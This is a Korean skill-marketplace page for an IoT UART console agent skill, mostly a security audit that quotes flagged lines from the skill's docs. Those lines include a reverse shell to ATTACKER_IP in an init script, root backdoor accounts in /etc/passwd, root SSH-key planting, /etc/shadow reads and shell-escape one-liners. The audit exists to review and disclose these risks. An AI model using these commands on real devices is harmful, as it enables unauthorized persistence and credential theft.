스킬 IoT UART Console (picocom)
📦
IoT UART Console (picocom)
콘텐츠 리비전 r3 치명적 ⚙️ 외부 명령어🌐 네트워크 접근📁 파일 시스템 접근🔑 환경 변수
Picocom으로 UART 콘솔 분석하기
UART 콘솔 테스트에는 신중한 시리얼 설정, 로깅, 디바이스 명령 처리가 필요합니다. 이 스킬은 picocom, Python 헬퍼, 구조화된 세션 검토를 통해 승인된 IoT 분석을 안내합니다.
지원: Claude Codex Code(CC)
이 Skill을 자동으로 설치하지 마세요.
공식 정책에 따라 설치 작업 전에 운영자 검토가 필요합니다.
내 에이전트로 설치
이 요청을 에이전트에 복사하세요. 공식 Skill 페이지와 매니페스트가 포함되어 있습니다.
에이전트 요청
Review the Skillstore skill "IoT UART Console (picocom)" from https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-iot-uart-console-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.에이전트는 계속해서 계획을 표시하고 보안 정책에서 요구하는 확인을 요청해야 합니다.
에이전트가 읽기 쉬운 리소스
AI 에이전트, 크롤러, 스크립트가 전체 페이지 대신 정리된 컨텍스트만 필요할 때 이 링크를 사용하세요.
테스트해 보기
"IoT UART Console (picocom)" 사용 중입니다. USB 시리얼 어댑터를 연결했고 테스트를 시작해야 합니다.
예상 결과:
이 스킬은 열거 전에 디바이스 경로 확인, baud rate 선택, 로깅 활성화, 안정적인 프롬프트 확인을 권장합니다.
"IoT UART Console (picocom)" 사용 중입니다. 부팅 시퀀스의 시리얼 로그가 있습니다.
예상 결과:
이 스킬은 부트로더 메시지, 커널 세부 정보, 로그인 프롬프트, 표시되는 서비스, 승인 검토가 필요한 증거를 요약할 수 있습니다.
"IoT UART Console (picocom)" 사용 중입니다. 내 시리얼 출력에 명령 에코와 ANSI 제어 문자가 있습니다.
예상 결과:
헬퍼 워크플로는 명령 출력을 정리하고, 프롬프트 노이즈를 제거하며, 이후 분석을 위해 시간순 로그를 유지할 수 있습니다.
보안 감사
치명적v14 • 2026. 7. 18. 버전별 보고서 열기
The serial helper implements ordinary UART connection, prompt detection, output cleanup, and logging. However, the documentation includes explicit authentication bypass, privilege escalation, persistence, sensitive-data access, firmware transfer, and network-scanning guidance. Benign documentation and logging detections were marked false positive, while concrete harmful workflows were confirmed.
4
스캔된 파일
2,037
분석된 줄 수
53
검토 항목
0
오탐 무시됨
확인된 보안 우려 사항 (37)
치명적
SSH directory access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
치명적
SSH directory access
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
치명적
System password file access
cat /etc/shadow
This reads the password-hash database and exposes sensitive authentication material.
치명적
System password file access
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
치명적
System password file access
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
치명적
System password file access
vi /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
치명적
System password file access
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
This modifies account data or turns it into shell execution, enabling persistent access.
치명적
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
확인된 37건 모두 보기
치명적
SSH directory access
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
치명적
System password file access
cat /etc/shadow # If readable - major security issue!
This reads the password-hash database and exposes sensitive authentication material.
치명적
System password file access
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
치명적
Sudoers file access
cat /etc/sudoers
The pattern has security relevance and is retained for fail-closed review.
치명적
Unauthorized Persistence Workflow
The skill presents backdoor accounts, remote access, and startup behavior as normal next steps after access. This enables retention of unauthorized control beyond a legitimate assessment.
The section is explicitly titled Persistence and Further Access and gives concrete persistence options.
치명적
Authentication Bypass and Shell-Escape Guidance
The skill normalizes obtaining root shells without authentication and escaping restricted shells. These actions are not required for safe serial-console operation.
The scenario explicitly describes booting to a root shell without authentication and lists shell-escape techniques.
높음
SSH host/auth files
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
높음
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
높음
Crypto seed/private key mention
# - Private keys
This searches for credentials or secret material on a device.
높음
Malware type keywords
**Method 2: Backdoor User Account**:
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
passwd backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo '#!/bin/sh' > /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo 'while true; do' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo ' sleep 300' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo 'done &' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
chmod +x /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
높음
UID/GID manipulation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This explicitly sets UID 0 and launches a shell.
높음
Network scanning tools
nmap -sn 192.168.1.0/24
This performs active network discovery and requires explicit scope.
높음
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
높음
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
높음
Certificate/key files
find / -name "*.pem" 2>/dev/null
The pattern has security relevance and is retained for fail-closed review.
높음
Certificate/key files
find / -name "*.key" 2>/dev/null
The pattern has security relevance and is retained for fail-closed review.
높음
Malware type keywords
# Add a backdoor user
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
passwd backdoor
This provides a concrete backdoor or startup persistence step.
높음
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
This provides a concrete backdoor or startup persistence step.
기능 검토 항목 (53)
이 스킬에 대해 예상될 수 있는 실제 로컬 기능이므로 검토가 필요하지만, 확인된 악의적 동작으로는 집계되지 않습니다.
높음
Python os.system
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
Python os.system
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
Ruby/PHP system() call
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
Ruby/PHP system() call
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
sudo privilege escalation
**Check sudo permissions**:
The documentation instructs elevated execution on the target.
높음
sudo privilege escalation
sudo -l
The documentation instructs elevated execution on the target.
높음
sudo privilege escalation
# Example: sudo vim -> :!/bin/sh
The documentation instructs elevated execution on the target.
높음
sudo privilege escalation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The documentation instructs elevated execution on the target.
높음
Generic API/secret keys
grep -r "api_key" /var/www/ 2>/dev/null
This searches for credentials or secret material on a device.
높음
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
높음
sudo privilege escalation
- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial
The documentation instructs elevated execution on the target.
높음
sudo privilege escalation
sudo -l
The documentation instructs elevated execution on the target.
중간
Unix shell invocation
U-Boot> setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
5. **Once booted with init=/bin/sh**:
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
find /etc -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
vim -c ':!/bin/sh'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
perl -e 'exec "/bin/sh";'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
# Example: sudo vim -> :!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
# Example: sudo find -> sudo find . -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo '#!/bin/sh' > /etc/init.d/S99backdoor
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
:!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
:set shell=/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
perl -e 'exec "/bin/sh";'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
ruby -e 'exec "/bin/sh"'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
find / -name anything -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Hardcoded IP address
nc 192.168.1.100 4444 < /tmp/rootfs.bin
This sends firmware data to a fixed network host and creates an exfiltration path.
중간
Hardcoded IP address
nmap -sn 192.168.1.0/24
This performs active subnet discovery and requires explicit scope.
중간
Hidden file access
mkdir -p /root/.ssh
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
chmod 700 /root/.ssh
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
chmod 600 /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
중간
Unix shell invocation
# Modify boot arguments (e.g., init=/bin/sh for root shell)
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
vi # Then :!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
find / -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
중간
Hardcoded IP address
telnet 192.168.1.1
This sends firmware data to a fixed network host and creates an exfiltration path.
중간
Hidden file access
mkdir -p /root/.ssh
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
chmod 600 /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
중간
Hidden file access
chmod 700 /root/.ssh
This creates and populates root SSH authorization files for persistent access.
위험 요인
⚙️ 외부 명령어 (50)
examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40 SKILL.md:40-46
🌐 네트워크 접근 (12)
📁 파일 시스템 접근 (50)
examples.md:267 examples.md:268 examples.md:269 examples.md:270 examples.md:39 examples.md:202 examples.md:388 examples.md:14 examples.md:22 examples.md:23 examples.md:72 examples.md:142 examples.md:143 examples.md:152 examples.md:187 examples.md:405 examples.md:406 examples.md:421 examples.md:428 examples.md:431 examples.md:438 examples.md:441 examples.md:216 examples.md:219 examples.md:220 examples.md:221 examples.md:222 examples.md:225 examples.md:225 examples.md:228 OBSERVING_SESSIONS.md:14 OBSERVING_SESSIONS.md:38 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:128 OBSERVING_SESSIONS.md:155 OBSERVING_SESSIONS.md:162 OBSERVING_SESSIONS.md:207 OBSERVING_SESSIONS.md:247 OBSERVING_SESSIONS.md:279 OBSERVING_SESSIONS.md:286 OBSERVING_SESSIONS.md:301 OBSERVING_SESSIONS.md:322 OBSERVING_SESSIONS.md:363 OBSERVING_SESSIONS.md:16 OBSERVING_SESSIONS.md:22 OBSERVING_SESSIONS.md:82 OBSERVING_SESSIONS.md:83 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:96 OBSERVING_SESSIONS.md:103
🔑 환경 변수 (1)
감지된 패턴
SSH directory access×4Malware type keywords×14System password file access×7UID/GID manipulationNetwork scanning toolsSudoers file access
감사자: claude 감사 이력 보기 →
이 보고서 공유 및 인용
버전이 지정된 평가 보고서, 중립 배지, 임베드 카드 및 인용을 공유하세요. Skillstore는 근거를 보고하지만 이 Skill의 안전 여부를 판단하지 않습니다.
보고서 링크 복사
https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 배지
[](https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge)HTML 배지
<a href="https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-iot-uart-console-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>임베드 카드
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-iot-uart-console-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>학술 인용 (APA · BibTeX · CFF)
APA 인용
BrownFineSecurity. (2026). IoT UART Console (picocom) security audit report (audit version 14) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14BibTeX 인용
@techreport{brownfinesecurity-brownfinesecurity-iot-uart-console-picocom-2026,
author = {BrownFineSecurity},
title = {IoT UART Console (picocom) security audit report (audit version 14)},
institution = {Skillstore},
year = {2026},
number = {14},
url = {https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "IoT UART Console (picocom) security audit report (audit version 14)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-18"
url: "https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-iot-uart-console-picocom:audit:14"
description: "Skillstore immutable audit report identifier"
Skillstore 점수
이 점수의 이유 증거 신뢰도: 중간 55
아키텍처
85
유지보수성
87
콘텐츠
70
커뮤니티
70
사양 준수
만들 수 있는 것
UART 세션 시작하기
알려진 테스트 보드에 대해 baud rate, serial device path, 프롬프트 감지 및 로깅을 설정합니다.
디바이스 열거 문서화
보고를 위해 시리얼 셸에서 승인된 시스템, 펌웨어 및 서비스 관찰 결과를 수집합니다.
장시간 시리얼 실행 모니터링
다른 프로세스가 제어된 명령 실행을 수행하는 동안 시리얼 상호작용을 기록하고 관찰합니다.
이 프롬프트를 사용해 보세요
기본 세션 시작
/dev/ttyUSB0에서 115200 baud로 승인된 UART 세션을 열고 보호된 세션 로그를 저장하도록 도와주세요.
프롬프트 식별
serial helper를 사용해 내 실험실 디바이스에 연결하고, 프롬프트를 감지한 다음, 다음 안전한 열거 단계를 설명해 주세요.
세션 로그 검토
이 승인된 시리얼 로그를 검토하고 부팅 이벤트, 셸 접근 상태, 서비스 및 후속 검증 질문을 요약해 주세요.
통제된 평가 계획
내가 소유한 IoT 디바이스에 대한 UART 평가 계획을 작성해 주세요. 설정, 증거 처리, 안전한 명령, 보고 체크포인트를 포함해 주세요.
모범 사례
- 본인이 소유했거나 테스트에 대한 명시적 허가를 받은 디바이스에만 이 스킬을 사용하세요.
- 시리얼 로그에는 비밀 정보가 포함될 수 있으므로 보호된 위치에 저장하세요.
- 테스트 범위와 복구 단계가 명확해질 때까지 읽기 전용 열거를 우선하세요.
피하기
- 서면 승인 없이 타사 디바이스나 네트워크에 대해 워크플로를 사용하지 마세요.
- 자격 증명이 포함된 로그를 공유 임시 디렉터리에 저장하지 마세요.
- 일상적인 테스트 중에는 지속성, 백도어 접근 또는 계정 변경을 추가하지 마세요.
자주 묻는 질문
이 스킬은 무엇을 도와주나요?
승인된 IoT UART 콘솔 분석을 위해 picocom 및 serial helper를 운영하는 데 도움을 줍니다.
하드웨어 접근이 필요한가요?
예. UART 어댑터, 올바른 배선, 디바이스 접근 권한이 필요합니다.
디바이스에서 명령을 실행할 수 있나요?
예, 시리얼 셸을 사용할 수 있는 경우 가능합니다. 명령은 승인된 테스트 범위 내에 있어야 합니다.
로그를 분석할 수 있나요?
예. 시리얼 로그, 부팅 출력, 프롬프트 및 명령 결과를 해석하는 데 도움을 줄 수 있습니다.
자동 설치에 안전한가요?
이 스킬에는 공격적 보안 워크플로가 포함되어 있으므로 감사에서 별도로 결정해야 합니다.
어떤 어시스턴트가 사용할 수 있나요?
보고서에는 Claude, Codex 및 Claude Code 지원이 명시되어 있습니다.
개발자 세부 정보
라이선스
MIT
Skillstore 리비전
r3
버전 안내
작성자가 버전을 선언하지 않았습니다.
참조
80999bf530a7874d7bedf8ce202001ecb4c4f5e0
유지보수 최신성
2026. 7. 19.
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